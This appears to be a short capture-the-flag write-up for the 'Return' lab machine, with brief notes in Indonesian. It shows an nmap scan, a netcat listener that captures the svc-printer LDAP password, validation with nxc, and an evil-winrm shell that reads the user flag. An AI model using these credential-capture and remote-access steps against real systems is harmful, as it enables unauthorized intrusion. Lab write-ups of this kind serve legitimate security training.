Return

Information Gathering

Ports and Services

Nmap scan report for 10.10.11.108
Host is up (0.029s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-02-02 07:03:10Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49682/tcp open  msrpc         Microsoft Windows RPC
49694/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.69 seconds

Web - 80

Road to user - svc-printer

start listener to port 389 dan ubah server address ke ip listener

┌──(me㉿intisec)-[~/ctf/return]
└─$ nc -lnvp 389
listening on [any] 389 ...

┌──(me㉿intisec)-[~/ctf/return]
└─$ nc -lnvp 389
listening on [any] 389 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.108] 59317
0*`%return\svc-printer�
                       1edFg43012!!

validasikan dengan nxc

└─$ nxc winrm return.local -u 'svc-printer' -p '1edFg43012!!'         
WINRM       10.10.11.108    5985   PRINTER          [*] Windows 10 / Server 2019 Build 17763 (name:PRINTER) (domain:return.local)
WINRM       10.10.11.108    5985   PRINTER          [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)

selanjutnya mari login ke winrm

┌──(me㉿intisec)-[~/ctf/return]
└─$ evil-winrm -i return.local -u 'svc-printer' -p'1edFg43012!!'   
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents> type ..\desktop\user.txt
c24c0fxxxxxx4acab1e39efxxxxxxxxx
*Evil-WinRM* PS C:\Users\svc-printer\Documents> 

Road to SYSTEM

Service Operator abuse

https://github.com/jon-brandy/hackthebox/blob/main/Categories/Machines/Return/README.md